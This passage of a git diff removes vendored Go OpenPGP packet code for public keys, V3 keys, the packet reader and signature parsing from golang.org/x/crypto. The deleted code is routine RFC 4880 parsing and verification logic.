pk.p.bitLength, err = readMPI(r) - if err != nil { - return - } - pk.g.bytes, pk.g.bitLength, err = readMPI(r) - if err != nil { - return - } - pk.y.bytes, pk.y.bitLength, err = readMPI(r) - if err != nil { - return - } - - elgamal := new(elgamal.PublicKey) - elgamal.P = new(big.Int).SetBytes(pk.p.bytes) - elgamal.G = new(big.Int).SetBytes(pk.g.bytes) - elgamal.Y = new(big.Int).SetBytes(pk.y.bytes) - pk.PublicKey = elgamal - return -} - -// SerializeSignaturePrefix writes the prefix for this public key to the given Writer. -// The prefix is used when calculating a signature over this public key. See -// RFC 4880, section 5.2.4. -func (pk *PublicKey) SerializeSignaturePrefix(h io.Writer) { - var pLength uint16 - switch pk.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSAEncryptOnly, PubKeyAlgoRSASignOnly: - pLength += 2 + uint16(len(pk.n.bytes)) - pLength += 2 + uint16(len(pk.e.bytes)) - case PubKeyAlgoDSA: - pLength += 2 + uint16(len(pk.p.bytes)) - pLength += 2 + uint16(len(pk.q.bytes)) - pLength += 2 + uint16(len(pk.g.bytes)) - pLength += 2 + uint16(len(pk.y.bytes)) - case PubKeyAlgoElGamal: - pLength += 2 + uint16(len(pk.p.bytes)) - pLength += 2 + uint16(len(pk.g.bytes)) - pLength += 2 + uint16(len(pk.y.bytes)) - case PubKeyAlgoECDSA: - pLength += uint16(pk.ec.byteLen()) - case PubKeyAlgoECDH: - pLength += uint16(pk.ec.byteLen()) - pLength += uint16(pk.ecdh.byteLen()) - default: - panic("unknown public key algorithm") - } - pLength += 6 - h.Write([]byte{0x99, byte(pLength >> 8), byte(pLength)}) - return -} - -func (pk *PublicKey) Serialize(w io.Writer) (err error) { - length := 6 // 6 byte header - - switch pk.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSAEncryptOnly, PubKeyAlgoRSASignOnly: - length += 2 + len(pk.n.bytes) - length += 2 + len(pk.e.bytes) - case PubKeyAlgoDSA: - length += 2 + len(pk.p.bytes) - length += 2 + len(pk.q.bytes) - length += 2 + len(pk.g.bytes) - length += 2 + len(pk.y.bytes) - case PubKeyAlgoElGamal: - length += 2 + len(pk.p.bytes) - length += 2 + len(pk.g.bytes) - length += 2 + len(pk.y.bytes) - case PubKeyAlgoECDSA: - length += pk.ec.byteLen() - case PubKeyAlgoECDH: - length += pk.ec.byteLen() - length += pk.ecdh.byteLen() - default: - panic("unknown public key algorithm") - } - - packetType := packetTypePublicKey - if pk.IsSubkey { - packetType = packetTypePublicSubkey - } - err = serializeHeader(w, packetType, length) - if err != nil { - return - } - return pk.serializeWithoutHeaders(w) -} - -// serializeWithoutHeaders marshals the PublicKey to w in the form of an -// OpenPGP public key packet, not including the packet header. -func (pk *PublicKey) serializeWithoutHeaders(w io.Writer) (err error) { - var buf [6]byte - buf[0] = 4 - t := uint32(pk.CreationTime.Unix()) - buf[1] = byte(t >> 24) - buf[2] = byte(t >> 16) - buf[3] = byte(t >> 8) - buf[4] = byte(t) - buf[5] = byte(pk.PubKeyAlgo) - - _, err = w.Write(buf[:]) - if err != nil { - return - } - - switch pk.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSAEncryptOnly, PubKeyAlgoRSASignOnly: - return writeMPIs(w, pk.n, pk.e) - case PubKeyAlgoDSA: - return writeMPIs(w, pk.p, pk.q, pk.g, pk.y) - case PubKeyAlgoElGamal: - return writeMPIs(w, pk.p, pk.g, pk.y) - case PubKeyAlgoECDSA: - return pk.ec.serialize(w) - case PubKeyAlgoECDH: - if err = pk.ec.serialize(w); err != nil { - return - } - return pk.ecdh.serialize(w) - } - return errors.InvalidArgumentError("bad public-key algorithm") -} - -// CanSign returns true iff this public key can generate signatures -func (pk *PublicKey) CanSign() bool { - return pk.PubKeyAlgo != PubKeyAlgoRSAEncryptOnly && pk.PubKeyAlgo != PubKeyAlgoElGamal -} - -// VerifySignature returns nil iff sig is a valid signature, made by this -// public key, of the data hashed into signed. signed is mutated by this call. -func (pk *PublicKey) VerifySignature(signed hash.Hash, sig *Signature) (err error) { - if !pk.CanSign() { - return errors.InvalidArgumentError("public key cannot generate signatures") - } - - signed.Write(sig.HashSuffix) - hashBytes := signed.Sum(nil) - - if hashBytes[0] != sig.HashTag[0] || hashBytes[1] != sig.HashTag[1] { - return errors.SignatureError("hash tag doesn't match") - } - - if pk.PubKeyAlgo != sig.PubKeyAlgo { - return errors.InvalidArgumentError("public key and signature use different algorithms") - } - - switch pk.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSASignOnly: - rsaPublicKey, _ := pk.PublicKey.(*rsa.PublicKey) - err = rsa.VerifyPKCS1v15(rsaPublicKey, sig.Hash, hashBytes, padToKeySize(rsaPublicKey, sig.RSASignature.bytes)) - if err != nil { - return errors.SignatureError("RSA verification failure") - } - return nil - case PubKeyAlgoDSA: - dsaPublicKey, _ := pk.PublicKey.(*dsa.PublicKey) - // Need to truncate hashBytes to match FIPS 186-3 section 4.6. - subgroupSize := (dsaPublicKey.Q.BitLen() + 7) / 8 - if len(hashBytes) > subgroupSize { - hashBytes = hashBytes[:subgroupSize] - } - if !dsa.Verify(dsaPublicKey, hashBytes, new(big.Int).SetBytes(sig.DSASigR.bytes), new(big.Int).SetBytes(sig.DSASigS.bytes)) { - return errors.SignatureError("DSA verification failure") - } - return nil - case PubKeyAlgoECDSA: - ecdsaPublicKey := pk.PublicKey.(*ecdsa.PublicKey) - if !ecdsa.Verify(ecdsaPublicKey, hashBytes, new(big.Int).SetBytes(sig.ECDSASigR.bytes), new(big.Int).SetBytes(sig.ECDSASigS.bytes)) { - return errors.SignatureError("ECDSA verification failure") - } - return nil - default: - return errors.SignatureError("Unsupported public key algorithm used in signature") - } -} - -// VerifySignatureV3 returns nil iff sig is a valid signature, made by this -// public key, of the data hashed into signed. signed is mutated by this call. -func (pk *PublicKey) VerifySignatureV3(signed hash.Hash, sig *SignatureV3) (err error) { - if !pk.CanSign() { - return errors.InvalidArgumentError("public key cannot generate signatures") - } - - suffix := make([]byte, 5) - suffix[0] = byte(sig.SigType) - binary.BigEndian.PutUint32(suffix[1:], uint32(sig.CreationTime.Unix())) - signed.Write(suffix) - hashBytes := signed.Sum(nil) - - if hashBytes[0] != sig.HashTag[0] || hashBytes[1] != sig.HashTag[1] { - return errors.SignatureError("hash tag doesn't match") - } - - if pk.PubKeyAlgo != sig.PubKeyAlgo { - return errors.InvalidArgumentError("public key and signature use different algorithms") - } - - switch pk.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSASignOnly: - rsaPublicKey := pk.PublicKey.(*rsa.PublicKey) - if err = rsa.VerifyPKCS1v15(rsaPublicKey, sig.Hash, hashBytes, padToKeySize(rsaPublicKey, sig.RSASignature.bytes)); err != nil { - return errors.SignatureError("RSA verification failure") - } - return - case PubKeyAlgoDSA: - dsaPublicKey := pk.PublicKey.(*dsa.PublicKey) - // Need to truncate hashBytes to match FIPS 186-3 section 4.6. - subgroupSize := (dsaPublicKey.Q.BitLen() + 7) / 8 - if len(hashBytes) > subgroupSize { - hashBytes = hashBytes[:subgroupSize] - } - if !dsa.Verify(dsaPublicKey, hashBytes, new(big.Int).SetBytes(sig.DSASigR.bytes), new(big.Int).SetBytes(sig.DSASigS.bytes)) { - return errors.SignatureError("DSA verification failure") - } - return nil - default: - panic("shouldn't happen") - } -} - -// keySignatureHash returns a Hash of the message that needs to be signed for -// pk to assert a subkey relationship to signed. -func keySignatureHash(pk, signed signingKey, hashFunc crypto.Hash) (h hash.Hash, err error) { - if !hashFunc.Available() { - return nil, errors.UnsupportedError("hash function") - } - h = hashFunc.New() - - // RFC 4880, section 5.2.4 - pk.SerializeSignaturePrefix(h) - pk.serializeWithoutHeaders(h) - signed.SerializeSignaturePrefix(h) - signed.serializeWithoutHeaders(h) - return -} - -// VerifyKeySignature returns nil iff sig is a valid signature, made by this -// public key, of signed. -func (pk *PublicKey) VerifyKeySignature(signed *PublicKey, sig *Signature) error { - h, err := keySignatureHash(pk, signed, sig.Hash) - if err != nil { - return err - } - if err = pk.VerifySignature(h, sig); err != nil { - return err - } - - if sig.FlagSign { - // Signing subkeys must be cross-signed. See - // https://www.gnupg.org/faq/subkey-cross-certify.html. - if sig.EmbeddedSignature == nil { - return errors.StructuralError("signing subkey is missing cross-signature") - } - // Verify the cross-signature. This is calculated over the same - // data as the main signature, so we cannot just recursively - // call signed.VerifyKeySignature(...) - if h, err = keySignatureHash(pk, signed, sig.EmbeddedSignature.Hash); err != nil { - return errors.StructuralError("error while hashing for cross-signature: " + err.Error()) - } - if err := signed.VerifySignature(h, sig.EmbeddedSignature); err != nil { - return errors.StructuralError("error while verifying cross-signature: " + err.Error()) - } - } - - return nil -} - -func keyRevocationHash(pk signingKey, hashFunc crypto.Hash) (h hash.Hash, err error) { - if !hashFunc.Available() { - return nil, errors.UnsupportedError("hash function") - } - h = hashFunc.New() - - // RFC 4880, section 5.2.4 - pk.SerializeSignaturePrefix(h) - pk.serializeWithoutHeaders(h) - - return -} - -// VerifyRevocationSignature returns nil iff sig is a valid signature, made by this -// public key. -func (pk *PublicKey) VerifyRevocationSignature(sig *Signature) (err error) { - h, err := keyRevocationHash(pk, sig.Hash) - if err != nil { - return err - } - return pk.VerifySignature(h, sig) -} - -// userIdSignatureHash returns a Hash of the message that needs to be signed -// to assert that pk is a valid key for id. -func userIdSignatureHash(id string, pk *PublicKey, hashFunc crypto.Hash) (h hash.Hash, err error) { - if !hashFunc.Available() { - return nil, errors.UnsupportedError("hash function") - } - h = hashFunc.New() - - // RFC 4880, section 5.2.4 - pk.SerializeSignaturePrefix(h) - pk.serializeWithoutHeaders(h) - - var buf [5]byte - buf[0] = 0xb4 - buf[1] = byte(len(id) >> 24) - buf[2] = byte(len(id) >> 16) - buf[3] = byte(len(id) >> 8) - buf[4] = byte(len(id)) - h.Write(buf[:]) - h.Write([]byte(id)) - - return -} - -// VerifyUserIdSignature returns nil iff sig is a valid signature, made by this -// public key, that id is the identity of pub. -func (pk *PublicKey) VerifyUserIdSignature(id string, pub *PublicKey, sig *Signature) (err error) { - h, err := userIdSignatureHash(id, pub, sig.Hash) - if err != nil { - return err - } - return pk.VerifySignature(h, sig) -} - -// VerifyUserIdSignatureV3 returns nil iff sig is a valid signature, made by this -// public key, that id is the identity of pub. -func (pk *PublicKey) VerifyUserIdSignatureV3(id string, pub *PublicKey, sig *SignatureV3) (err error) { - h, err := userIdSignatureV3Hash(id, pub, sig.Hash) - if err != nil { - return err - } - return pk.VerifySignatureV3(h, sig) -} - -// KeyIdString returns the public key's fingerprint in capital hex -// (e.g. "6C7EE1B8621CC013"). -func (pk *PublicKey) KeyIdString() string { - return fmt.Sprintf("%X", pk.Fingerprint[12:20]) -} - -// KeyIdShortString returns the short form of public key's fingerprint -// in capital hex, as shown by gpg --list-keys (e.g. "621CC013"). -func (pk *PublicKey) KeyIdShortString() string { - return fmt.Sprintf("%X", pk.Fingerprint[16:20]) -} - -// A parsedMPI is used to store the contents of a big integer, along with the -// bit length that was specified in the original input. This allows the MPI to -// be reserialized exactly. -type parsedMPI struct { - bytes []byte - bitLength uint16 -} - -// writeMPIs is a utility function for serializing several big integers to the -// given Writer. -func writeMPIs(w io.Writer, mpis ...parsedMPI) (err error) { - for _, mpi := range mpis { - err = writeMPI(w, mpi.bitLength, mpi.bytes) - if err != nil { - return - } - } - return -} - -// BitLength returns the bit length for the given public key. -func (pk *PublicKey) BitLength() (bitLength uint16, err error) { - switch pk.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSAEncryptOnly, PubKeyAlgoRSASignOnly: - bitLength = pk.n.bitLength - case PubKeyAlgoDSA: - bitLength = pk.p.bitLength - case PubKeyAlgoElGamal: - bitLength = pk.p.bitLength - default: - err = errors.InvalidArgumentError("bad public-key algorithm") - } - return -} diff --git a/vendor/golang.org/x/crypto/openpgp/packet/public_key_v3.go b/vendor/golang.org/x/crypto/openpgp/packet/public_key_v3.go deleted file mode 100644 index 5daf7b6cfd..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/packet/public_key_v3.go +++ /dev/null @@ -1,279 +0,0 @@ -// Copyright 2013 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package packet - -import ( - "crypto" - "crypto/md5" - "crypto/rsa" - "encoding/binary" - "fmt" - "hash" - "io" - "math/big" - "strconv" - "time" - - "golang.org/x/crypto/openpgp/errors" -) - -// PublicKeyV3 represents older, version 3 public keys. These keys are less secure and -// should not be used for signing or encrypting. They are supported here only for -// parsing version 3 key material and validating signatures. -// See RFC 4880, section 5.5.2. -type PublicKeyV3 struct { - CreationTime time.Time - DaysToExpire uint16 - PubKeyAlgo PublicKeyAlgorithm - PublicKey *rsa.PublicKey - Fingerprint [16]byte - KeyId uint64 - IsSubkey bool - - n, e parsedMPI -} - -// newRSAPublicKeyV3 returns a PublicKey that wraps the given rsa.PublicKey. -// Included here for testing purposes only. RFC 4880, section 5.5.2: -// "an implementation MUST NOT generate a V3 key, but MAY accept it." -func newRSAPublicKeyV3(creationTime time.Time, pub *rsa.PublicKey) *PublicKeyV3 { - pk := &PublicKeyV3{ - CreationTime: creationTime, - PublicKey: pub, - n: fromBig(pub.N), - e: fromBig(big.NewInt(int64(pub.E))), - } - - pk.setFingerPrintAndKeyId() - return pk -} - -func (pk *PublicKeyV3) parse(r io.Reader) (err error) { - // RFC 4880, section 5.5.2 - var buf [8]byte - if _, err = readFull(r, buf[:]); err != nil { - return - } - if buf[0] < 2 || buf[0] > 3 { - return errors.UnsupportedError("public key version") - } - pk.CreationTime = time.Unix(int64(uint32(buf[1])<<24|uint32(buf[2])<<16|uint32(buf[3])<<8|uint32(buf[4])), 0) - pk.DaysToExpire = binary.BigEndian.Uint16(buf[5:7]) - pk.PubKeyAlgo = PublicKeyAlgorithm(buf[7]) - switch pk.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSAEncryptOnly, PubKeyAlgoRSASignOnly: - err = pk.parseRSA(r) - default: - err = errors.UnsupportedError("public key type: " + strconv.Itoa(int(pk.PubKeyAlgo))) - } - if err != nil { - return - } - - pk.setFingerPrintAndKeyId() - return -} - -func (pk *PublicKeyV3) setFingerPrintAndKeyId() { - // RFC 4880, section 12.2 - fingerPrint := md5.New() - fingerPrint.Write(pk.n.bytes) - fingerPrint.Write(pk.e.bytes) - fingerPrint.Sum(pk.Fingerprint[:0]) - pk.KeyId = binary.BigEndian.Uint64(pk.n.bytes[len(pk.n.bytes)-8:]) -} - -// parseRSA parses RSA public key material from the given Reader. See RFC 4880, -// section 5.5.2. -func (pk *PublicKeyV3) parseRSA(r io.Reader) (err error) { - if pk.n.bytes, pk.n.bitLength, err = readMPI(r); err != nil { - return - } - if pk.e.bytes, pk.e.bitLength, err = readMPI(r); err != nil { - return - } - - // RFC 4880 Section 12.2 requires the low 8 bytes of the - // modulus to form the key id. - if len(pk.n.bytes) < 8 { - return errors.StructuralError("v3 public key modulus is too short") - } - if len(pk.e.bytes) > 3 { - err = errors.UnsupportedError("large public exponent") - return - } - rsa := &rsa.PublicKey{N: new(big.Int).SetBytes(pk.n.bytes)} - for i := 0; i < len(pk.e.bytes); i++ { - rsa.E <<= 8 - rsa.E |= int(pk.e.bytes[i]) - } - pk.PublicKey = rsa - return -} - -// SerializeSignaturePrefix writes the prefix for this public key to the given Writer. -// The prefix is used when calculating a signature over this public key. See -// RFC 4880, section 5.2.4. -func (pk *PublicKeyV3) SerializeSignaturePrefix(w io.Writer) { - var pLength uint16 - switch pk.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSAEncryptOnly, PubKeyAlgoRSASignOnly: - pLength += 2 + uint16(len(pk.n.bytes)) - pLength += 2 + uint16(len(pk.e.bytes)) - default: - panic("unknown public key algorithm") - } - pLength += 6 - w.Write([]byte{0x99, byte(pLength >> 8), byte(pLength)}) - return -} - -func (pk *PublicKeyV3) Serialize(w io.Writer) (err error) { - length := 8 // 8 byte header - - switch pk.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSAEncryptOnly, PubKeyAlgoRSASignOnly: - length += 2 + len(pk.n.bytes) - length += 2 + len(pk.e.bytes) - default: - panic("unknown public key algorithm") - } - - packetType := packetTypePublicKey - if pk.IsSubkey { - packetType = packetTypePublicSubkey - } - if err = serializeHeader(w, packetType, length); err != nil { - return - } - return pk.serializeWithoutHeaders(w) -} - -// serializeWithoutHeaders marshals the PublicKey to w in the form of an -// OpenPGP public key packet, not including the packet header. -func (pk *PublicKeyV3) serializeWithoutHeaders(w io.Writer) (err error) { - var buf [8]byte - // Version 3 - buf[0] = 3 - // Creation time - t := uint32(pk.CreationTime.Unix()) - buf[1] = byte(t >> 24) - buf[2] = byte(t >> 16) - buf[3] = byte(t >> 8) - buf[4] = byte(t) - // Days to expire - buf[5] = byte(pk.DaysToExpire >> 8) - buf[6] = byte(pk.DaysToExpire) - // Public key algorithm - buf[7] = byte(pk.PubKeyAlgo) - - if _, err = w.Write(buf[:]); err != nil { - return - } - - switch pk.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSAEncryptOnly, PubKeyAlgoRSASignOnly: - return writeMPIs(w, pk.n, pk.e) - } - return errors.InvalidArgumentError("bad public-key algorithm") -} - -// CanSign returns true iff this public key can generate signatures -func (pk *PublicKeyV3) CanSign() bool { - return pk.PubKeyAlgo != PubKeyAlgoRSAEncryptOnly -} - -// VerifySignatureV3 returns nil iff sig is a valid signature, made by this -// public key, of the data hashed into signed. signed is mutated by this call. -func (pk *PublicKeyV3) VerifySignatureV3(signed hash.Hash, sig *SignatureV3) (err error) { - if !pk.CanSign() { - return errors.InvalidArgumentError("public key cannot generate signatures") - } - - suffix := make([]byte, 5) - suffix[0] = byte(sig.SigType) - binary.BigEndian.PutUint32(suffix[1:], uint32(sig.CreationTime.Unix())) - signed.Write(suffix) - hashBytes := signed.Sum(nil) - - if hashBytes[0] != sig.HashTag[0] || hashBytes[1] != sig.HashTag[1] { - return errors.SignatureError("hash tag doesn't match") - } - - if pk.PubKeyAlgo != sig.PubKeyAlgo { - return errors.InvalidArgumentError("public key and signature use different algorithms") - } - - switch pk.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSASignOnly: - if err = rsa.VerifyPKCS1v15(pk.PublicKey, sig.Hash, hashBytes, sig.RSASignature.bytes); err != nil { - return errors.SignatureError("RSA verification failure") - } - return - default: - // V3 public keys only support RSA. - panic("shouldn't happen") - } -} - -// VerifyUserIdSignatureV3 returns nil iff sig is a valid signature, made by this -// public key, that id is the identity of pub. -func (pk *PublicKeyV3) VerifyUserIdSignatureV3(id string, pub *PublicKeyV3, sig *SignatureV3) (err error) { - h, err := userIdSignatureV3Hash(id, pk, sig.Hash) - if err != nil { - return err - } - return pk.VerifySignatureV3(h, sig) -} - -// VerifyKeySignatureV3 returns nil iff sig is a valid signature, made by this -// public key, of signed. -func (pk *PublicKeyV3) VerifyKeySignatureV3(signed *PublicKeyV3, sig *SignatureV3) (err error) { - h, err := keySignatureHash(pk, signed, sig.Hash) - if err != nil { - return err - } - return pk.VerifySignatureV3(h, sig) -} - -// userIdSignatureV3Hash returns a Hash of the message that needs to be signed -// to assert that pk is a valid key for id. -func userIdSignatureV3Hash(id string, pk signingKey, hfn crypto.Hash) (h hash.Hash, err error) { - if !hfn.Available() { - return nil, errors.UnsupportedError("hash function") - } - h = hfn.New() - - // RFC 4880, section 5.2.4 - pk.SerializeSignaturePrefix(h) - pk.serializeWithoutHeaders(h) - - h.Write([]byte(id)) - - return -} - -// KeyIdString returns the public key's fingerprint in capital hex -// (e.g. "6C7EE1B8621CC013"). -func (pk *PublicKeyV3) KeyIdString() string { - return fmt.Sprintf("%X", pk.KeyId) -} - -// KeyIdShortString returns the short form of public key's fingerprint -// in capital hex, as shown by gpg --list-keys (e.g. "621CC013"). -func (pk *PublicKeyV3) KeyIdShortString() string { - return fmt.Sprintf("%X", pk.KeyId&0xFFFFFFFF) -} - -// BitLength returns the bit length for the given public key. -func (pk *PublicKeyV3) BitLength() (bitLength uint16, err error) { - switch pk.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSAEncryptOnly, PubKeyAlgoRSASignOnly: - bitLength = pk.n.bitLength - default: - err = errors.InvalidArgumentError("bad public-key algorithm") - } - return -} diff --git a/vendor/golang.org/x/crypto/openpgp/packet/reader.go b/vendor/golang.org/x/crypto/openpgp/packet/reader.go deleted file mode 100644 index 34bc7c613e..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/packet/reader.go +++ /dev/null @@ -1,76 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package packet - -import ( - "golang.org/x/crypto/openpgp/errors" - "io" -) - -// Reader reads packets from an io.Reader and allows packets to be 'unread' so -// that they result from the next call to Next. -type Reader struct { - q []Packet - readers []io.Reader -} - -// New io.Readers are pushed when a compressed or encrypted packet is processed -// and recursively treated as a new source of packets. However, a carefully -// crafted packet can trigger an infinite recursive sequence of packets. See -// http://mumble.net/~campbell/misc/pgp-quine -// https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-4402 -// This constant limits the number of recursive packets that may be pushed. -const maxReaders = 32 - -// Next returns the most recently unread Packet, or reads another packet from -// the top-most io.Reader. Unknown packet types are skipped. -func (r *Reader) Next() (p Packet, err error) { - if len(r.q) > 0 { - p = r.q[len(r.q)-1] - r.q = r.q[:len(r.q)-1] - return - } - - for len(r.readers) > 0 { - p, err = Read(r.readers[len(r.readers)-1]) - if err == nil { - return - } - if err == io.EOF { - r.readers = r.readers[:len(r.readers)-1] - continue - } - if _, ok := err.(errors.UnknownPacketTypeError); !ok { - return nil, err - } - } - - return nil, io.EOF -} - -// Push causes the Reader to start reading from a new io.Reader. When an EOF -// error is seen from the new io.Reader, it is popped and the Reader continues -// to read from the next most recent io.Reader. Push returns a StructuralError -// if pushing the reader would exceed the maximum recursion level, otherwise it -// returns nil. -func (r *Reader) Push(reader io.Reader) (err error) { - if len(r.readers) >= maxReaders { - return errors.StructuralError("too many layers of packets") - } - r.readers = append(r.readers, reader) - return nil -} - -// Unread causes the given Packet to be returned from the next call to Next. -func (r *Reader) Unread(p Packet) { - r.q = append(r.q, p) -} - -func NewReader(r io.Reader) *Reader { - return &Reader{ - q: nil, - readers: []io.Reader{r}, - } -} diff --git a/vendor/golang.org/x/crypto/openpgp/packet/signature.go b/vendor/golang.org/x/crypto/openpgp/packet/signature.go deleted file mode 100644 index b2a24a5323..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/packet/signature.go +++ /dev/null @@ -1,731 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package packet - -import ( - "bytes" - "crypto" - "crypto/dsa" - "crypto/ecdsa" - "encoding/asn1" - "encoding/binary" - "hash" - "io" - "math/big" - "strconv" - "time" - - "golang.org/x/crypto/openpgp/errors" - "golang.org/x/crypto/openpgp/s2k" -) - -const ( - // See RFC 4880, section 5.2.3.21 for details. - KeyFlagCertify = 1 << iota - KeyFlagSign - KeyFlagEncryptCommunications - KeyFlagEncryptStorage -) - -// Signature represents a signature. See RFC 4880, section 5.2. -type Signature struct { - SigType SignatureType - PubKeyAlgo PublicKeyAlgorithm - Hash crypto.Hash - - // HashSuffix is extra data that is hashed in after the signed data. - HashSuffix []byte - // HashTag contains the first two bytes of the hash for fast rejection - // of bad signed data. - HashTag [2]byte - CreationTime time.Time - - RSASignature parsedMPI - DSASigR, DSASigS parsedMPI - ECDSASigR, ECDSASigS parsedMPI - - // rawSubpackets contains the unparsed subpackets, in order. - rawSubpackets []outputSubpacket - - // The following are optional so are nil when not included in the - // signature. - - SigLifetimeSecs, KeyLifetimeSecs *uint32 - PreferredSymmetric, PreferredHash, PreferredCompression []uint8 - IssuerKeyId *uint64 - IsPrimaryId *bool - - // FlagsValid is set if any flags were given. See RFC 4880, section - // 5.2.3.21 for details. - FlagsValid bool - FlagCertify, FlagSign, FlagEncryptCommunications, FlagEncryptStorage bool - - // RevocationReason is set if this signature has been revoked. - // See RFC 4880, section 5.2.3.23 for details. - RevocationReason *uint8 - RevocationReasonText string - - // MDC is set if this signature has a feature packet that indicates - // support for MDC subpackets. - MDC bool - - // EmbeddedSignature, if non-nil, is a signature of the parent key, by - // this key. This prevents an attacker from claiming another's signing - // subkey as their own. - EmbeddedSignature *Signature - - outSubpackets []outputSubpacket -} - -func (sig *Signature) parse(r io.Reader) (err error) { - // RFC 4880, section 5.2.3 - var buf [5]byte - _, err = readFull(r, buf[:1]) - if err != nil { - return - } - if buf[0] != 4 { - err = errors.UnsupportedError("signature packet version " + strconv.Itoa(int(buf[0]))) - return - } - - _, err = readFull(r, buf[:5]) - if err != nil { - return - } - sig.SigType = SignatureType(buf[0]) - sig.PubKeyAlgo = PublicKeyAlgorithm(buf[1]) - switch sig.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSASignOnly, PubKeyAlgoDSA, PubKeyAlgoECDSA: - default: - err = errors.UnsupportedError("public key algorithm " + strconv.Itoa(int(sig.PubKeyAlgo))) - return - } - - var ok bool - sig.Hash, ok = s2k.HashIdToHash(buf[2]) - if !ok { - return errors.UnsupportedError("hash function " + strconv.Itoa(int(buf[2]))) - } - - hashedSubpacketsLength := int(buf[3])<<8 | int(buf[4]) - l := 6 + hashedSubpacketsLength - sig.HashSuffix = make([]byte, l+6) - sig.HashSuffix[0] = 4 - copy(sig.HashSuffix[1:], buf[:5]) - hashedSubpackets := sig.HashSuffix[6:l] - _, err = readFull(r, hashedSubpackets) - if err != nil { - return - } - // See RFC 4880, section 5.2.4 - trailer := sig.HashSuffix[l:] - trailer[0] = 4 - trailer[1] = 0xff - trailer[2] = uint8(l >> 24) - trailer[3] = uint8(l >> 16) - trailer[4] = uint8(l >> 8) - trailer[5] = uint8(l) - - err = parseSignatureSubpackets(sig, hashedSubpackets, true) - if err != nil { - return - } - - _, err = readFull(r, buf[:2]) - if err != nil { - return - } - unhashedSubpacketsLength := int(buf[0])<<8 | int(buf[1]) - unhashedSubpackets := make([]byte, unhashedSubpacketsLength) - _, err = readFull(r, unhashedSubpackets) - if err != nil { - return - } - err = parseSignatureSubpackets(sig, unhashedSubpackets, false) - if err != nil { - return - } - - _, err = readFull(r, sig.HashTag[:2]) - if err != nil { - return - } - - switch sig.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSASignOnly: - sig.RSASignature.bytes, sig.RSASignature.bitLength, err = readMPI(r) - case PubKeyAlgoDSA: - sig.DSASigR.bytes, sig.DSASigR.bitLength, err = readMPI(r) - if err == nil { - sig.DSASigS.bytes, sig.DSASigS.bitLength, err = readMPI(r) - } - case PubKeyAlgoECDSA: - sig.ECDSASigR.bytes, sig.ECDSASigR.bitLength, err = readMPI(r) - if err == nil { - sig.ECDSASigS.bytes, sig.ECDSASigS.bitLength, err = readMPI(r) - } - default: - panic("unreachable") - } - return -} - -// parseSignatureSubpackets parses subpackets of the main signature packet. See -// RFC 4880, section 5.2.3.1. -func parseSignatureSubpackets(sig *Signature, subpackets []byte, isHashed bool) (err error) { - for len(subpackets) > 0 { - subpackets, err = parseSignatureSubpacket(sig, subpackets, isHashed) - if err != nil { - return - } - } - - if sig.CreationTime.IsZero() { - err = errors.StructuralError("no creation time in signature") - } - - return -} - -type signatureSubpacketType uint8 - -const ( - creationTimeSubpacket signatureSubpacketType = 2 - signatureExpirationSubpacket signatureSubpacketType = 3 - keyExpirationSubpacket signatureSubpacketType = 9 - prefSymmetricAlgosSubpacket signatureSubpacketType = 11 - issuerSubpacket signatureSubpacketType = 16 - prefHashAlgosSubpacket signatureSubpacketType = 21 - prefCompressionSubpacket signatureSubpacketType = 22 - primaryUserIdSubpacket signatureSubpacketType = 25 - keyFlagsSubpacket signatureSubpacketType = 27 - reasonForRevocationSubpacket signatureSubpacketType = 29 - featuresSubpacket signatureSubpacketType = 30 - embeddedSignatureSubpacket signatureSubpacketType = 32 -) - -// parseSignatureSubpacket parses a single subpacket. len(subpacket) is >= 1. -func parseSignatureSubpacket(sig *Signature, subpacket []byte, isHashed bool) (rest []byte, err error) { - // RFC 4880, section 5.2.3.1 - var ( - length uint32 - packetType signatureSubpacketType - isCritical bool - ) - switch { - case subpacket[0] < 192: - length = uint32(subpacket[0]) - subpacket = subpacket[1:] - case subpacket[0] < 255: - if len(subpacket) < 2 { - goto Truncated - } - length = uint32(subpacket[0]-192)<<8 + uint32(subpacket[1]) + 192 - subpacket = subpacket[2:] - default: - if len(subpacket) < 5 { - goto Truncated - } - length = uint32(subpacket[1])<<24 | - uint32(subpacket[2])<<16 | - uint32(subpacket[3])<<8 | - uint32(subpacket[4]) - subpacket = subpacket[5:] - } - if length > uint32(len(subpacket)) { - goto Truncated - } - rest = subpacket[length:] - subpacket = subpacket[:length] - if len(subpacket) == 0 { - err = errors.StructuralError("zero length signature subpacket") - return - } - packetType = signatureSubpacketType(subpacket[0] & 0x7f) - isCritical = subpacket[0]&0x80 == 0x80 - subpacket = subpacket[1:] - sig.rawSubpackets = append(sig.rawSubpackets, outputSubpacket{isHashed, packetType, isCritical, subpacket}) - switch packetType { - case creationTimeSubpacket: - if !isHashed { - err = errors.StructuralError("signature creation time in non-hashed area") - return - } - if len(subpacket) != 4 { - err = errors.StructuralError("signature creation time not four bytes") - return - } - t := binary.BigEndian.Uint32(subpacket) - sig.CreationTime = time.Unix(int64(t), 0) - case signatureExpirationSubpacket: - // Signature expiration time, section 5.2.3.10 - if !isHashed { - return - } - if len(subpacket) != 4 